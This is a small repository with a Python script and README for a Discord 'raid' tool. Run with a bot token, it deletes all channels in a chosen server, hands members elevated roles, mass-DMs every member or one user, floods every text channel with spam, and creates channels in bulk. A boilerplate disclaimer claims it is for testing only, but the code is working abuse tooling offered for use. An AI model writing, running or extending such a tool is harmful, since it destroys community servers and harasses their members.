├── HEXHEX.py └── README.md /HEXHEX.py: -------------------------------------------------------------------------------- 1 | import discord 2 | import asyncio 3 | import os 4 | import time 5 | import sys 6 | from itertools import cycle 7 | from discord.ext import commands 8 | 9 | intents = discord.Intents.all() 10 | bot = commands.Bot(command_prefix=None, intents=intents) 11 | 12 | 13 | def print_bot(): 14 | bot_name = bot.user.name if bot.user else "Allah" 15 | print(f"[ > ] Logged in as \033[95m{bot_name}\033[0m") 16 | print_server_count() 17 | 18 | 19 | def print_server_count(): 20 | bot_name = bot.user.name if bot.user else "Allah" 21 | server_count = len(bot.guilds) 22 | print(f"[ > ] \033[95m{bot_name}\033[0m is on \033[95m{server_count}\033[0m Servers active.") 23 | 24 | 25 | def print_menu(): 26 | menu_banner = """ 27 | ██╗ ██╗███████╗██╗ ██╗ ██╗ ██╗███████╗██╗ ██╗ 28 | ██║ ██║██╔════╝╚██╗██╔╝ ██║ ██║██╔════╝╚██╗██╔╝ 29 | ███████║█████╗ ╚███╔╝█████╗███████║█████╗ ╚███╔╝ 30 | ██╔══██║██╔══╝ ██╔██╗╚════╝██╔══██║██╔══╝ ██╔██╗ 31 | ██║ ██║███████╗██╔╝ ██╗ ██║ ██║███████╗██╔╝ ██╗ 32 | ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ 33 | """ 34 | print(f"\033[95m{menu_banner}\033[0m") 35 | 36 | 37 | def run_tool(): 38 | os.system('cls' if os.name == 'nt' else 'clear') 39 | token = get_bot_token() 40 | bot.run(token) 41 | 42 | 43 | def get_bot_token(): 44 | token = input("Enter bot token: ") 45 | return token 46 | 47 | 48 | @bot.event 49 | async def on_ready(): 50 | os.system('cls' if os.name == 'nt' else 'clear') 51 | print_bot() 52 | print_menu() 53 | await process_command() 54 | 55 | 56 | async def process_command(): 57 | while True: 58 | print('\033[95m' + "Select an option:" + '\033[0m') 59 | print("[1] Get a Server List") 60 | print("[2] Delete all Channels") 61 | print("[3] Give all Members ADMIN Permissions") 62 | print("[4] One-User DM") 63 | print("[5] MASS DM") 64 | print("[6] MASS Server Spam [Updating...]") 65 | print("[7] MASS Channel Generator") 66 | print() 67 | 68 | option = input("Enter your choice: ") 69 | 70 | if option == "1": 71 | await server() 72 | elif option == "2": 73 | await delete_channels() 74 | elif option == "3": 75 | await admin_digga() 76 | elif option == "4": 77 | await spam_user() 78 | elif option == "5": 79 | await mass_dm() 80 | elif option == "6": 81 | await server_spammi() 82 | elif option == "7": 83 | await channel_create() 84 | else: 85 | print("Invalid option selected") 86 | 87 | await delete_printed_messages() 88 | print_menu() 89 | 90 | 91 | async def channel_create(): 92 | server_list = [] 93 | for index, guild in enumerate(bot.guilds): 94 | members = len(guild.members) 95 | server_list.append(f"{index + 1}. {guild.name} - Members: {members}") 96 | 97 | print("Select a server:") 98 | print('\n'.join(server_list)) 99 | 100 | server_index = int(input("Enter the server index: ")) - 1 101 | 102 | if server_index < 0 or server_index >= len(bot.guilds): 103 | print("Invalid server index") 104 | return 105 | 106 | guild = bot.guilds[server_index] 107 | num_channels = int(input("Enter the number of channels to create: ")) 108 | 109 | for i in range(num_channels): 110 | try: 111 | channel_name = f"Channel{i+1}" 112 | await guild.create_text_channel(channel_name) 113 | print(f"Channel '{channel_name}' created successfully") 114 | except Exception as e: 115 | print(f"Failed to create channel: {e}") 116 | 117 | print("Channel creation completed.") 118 | 119 | 120 | async def server_spammi(): 121 | server_list = [] 122 | for index, guild in enumerate(bot.guilds): 123 | members = len(guild.members) 124 | server_list.append(f"{index + 1}. {guild.name} - Members: {members}") 125 | 126 | print("Select a server:") 127 | print('\n'.join(server_list)) 128 | 129 | server_index = int(input("Enter the server index: ")) - 1 130 | 131 | if server_index < 0 or server_index >= len(bot.guilds): 132 | print("Invalid server index") 133 | return 134 | 135 | guild = bot.guilds[server_index] 136 | 137 | spam_message = input("Enter the spam message: ") 138 | spam_duration = int(input("Enter the spam duration in seconds: ")) 139 | 140 | for channel in guild.channels: 141 | if isinstance(channel, discord.TextChannel): 142 | try: 143 | for _ in range(spam_duration): 144 | await channel.send(spam_message) 145 | await asyncio.sleep(1) 146 | except Exception as e: 147 | print(f"Failed to spam channel {channel.name}: {e}") 148 | 149 | print("Spamming completed.") 150 | 151 | 152 | async def mass_dm(): 153 | server_list = [] 154 | for index, guild in enumerate(bot.guilds): 155 | members = len(guild.members) 156 | server_list.append(f"{index + 1}. {guild.name} - Members: {members}") 157 | 158 | print("Select a server:") 159 | print('\n'.join(server_list)) 160 | 161 | server_index = int(input("Enter the server index: ")) - 1 162 | 163 | if server_index < 0 or server_index >= len(bot.guilds): 164 | print("Invalid server index") 165 | return 166 | 167 | guild = bot.guilds[server_index] 168 | 169 | spam_message = input("Enter the spam message: ") 170 | spam_duration = int(input("Enter the spam duration in seconds: ")) 171 | 172 | for member in guild.members: 173 | try: 174 | for _ in range(spam_duration): 175 | await member.send(spam_message) 176 | await asyncio.sleep(1) 177 | except Exception as e: 178 | print(f"Failed to spam {member.name}: {e}") 179 | 180 | print("Spamming completed.") 181 | 182 | 183 | async def spam_user(): 184 | user_id = input("Enter the user ID to spam: ") 185 | spam_message = input("Enter the spam message: ") 186 | spam_duration = int(input("Enter the spam duration in seconds: ")) 187 | 188 | user = bot.get_user(int(user_id)) 189 | if not user: 190 | print("Invalid user ID") 191 | return 192 | try: 193 | for _ in range(spam_duration): 194 | await user.send(spam_message) 195 | await asyncio.sleep(1) 196 | except Exception as e: 197 | print(f"Failed to spam user: {e}") 198 | 199 | print("Spamming completed.") 200 | 201 | 202 | async def admin_digga(): 203 | server_list = [] 204 | for index, guild in enumerate(bot.guilds): 205 | members = len(guild.members) 206 | server_list.append(f"{index + 1}. {guild.name} - Members: {members}") 207 | 208 | print("Select a server:") 209 | print('\n'.join(server_list)) 210 | 211 | server_index = int(input("Enter the server index: ")) - 1 212 | 213 | if server_index < 0 or server_index >= len(bot.guilds): 214 | print("Invalid server index") 215 | return 216 | guild = bot.guilds[server_index] 217 | 218 | for member in guild.members: 219 | try: 220 | highest_role = member.top_role # highest role 221 | await member.add_roles(highest_role) 222 | except Exception as e: 223 | print(f"Failed to grant admin role to {member.name}: {e}") 224 | 225 | print("Admin roles have been granted to all members.") 226 | 227 | 228 | async def delete_channels(): 229 | server_list = [] 230 | for index, guild in enumerate(bot.guilds): 231 | members = len(guild.members) 232 | server_list.append(f"{index + 1}. {guild.name} - Members: {members}") 233 | 234 | print("Select a server:") 235 | print('\n'.join(server_list)) 236 | 237 | server_index = int(input("Enter the server index: ")) - 1 238 | 239 | if server_index < 0 or server_index >= len(bot.guilds): 240 | print("Invalid server index") 241 | return 242 | guild = bot.guilds[server_index] 243 | for channel in guild.channels: 244 | try: 245 | await channel.delete() 246 | except Exception as e: 247 | print(f"Failed to delete channel {channel.name}: {e}") 248 | 249 | print("All channels have been deleted.") 250 | 251 | 252 | async def server(): 253 | server_list = [] 254 | for guild in bot.guilds: 255 | members = len(guild.members) 256 | server_list.append(f"{guild.name} - Members: {members}") 257 | 258 | print('\n'.join(server_list)) 259 | 260 | 261 | async def delete_printed_messages(): 262 | await asyncio.sleep(3) 263 | os.system('cls' if os.name == 'nt' else 'clear') 264 | 265 | 266 | if __name__ == '__main__': 267 | run_tool() 268 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SecHex-Discord-Tool 2 | Discord Spammer, Mass DM, One-User DM, ADMIN Giver... 3 | 4 | **I wrote this in 2h or something. The Script is buggy rn. But i fix this in the next few weeks.** 5 | 6 | ▰▰▰▰▱▱▱▱▱ 45% finish ❤️ 7 | 8 | # Functions ⚡ 9 | + **Get a Server List** 10 | + **Delete all Channel** 11 | + **Give all Members ADMIN Permissions** 12 | + **One-User MASS DM** 13 | + **MASS DM** 14 | + **Mass Server Spam** 15 | + **Mass Channel Generator** 16 | 17 | # Milestones 🏆 18 | **5 Stars** - ***Soon...*** ✨ 19 | **10 Stars** - ***Soon...*** ✨ 20 | **20 Stars** - ***Soon...*** ✨ 21 | 22 | ![Screenshot 2023-05-18 172507 (2)](https://github.com/SecHex/SecHex-Discord-Tool/assets/96635023/c48144c1-2a7a-4048-9080-9ef04405bd5e) 23 | 24 | 25 | 26 | # Disclaimer ⚠️ 27 | This tool is only for testing and academic purposes and can only be used where strict consent has been given. Do not use it for illegal purposes! It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this tool and software in general. 28 | --------------------------------------------------------------------------------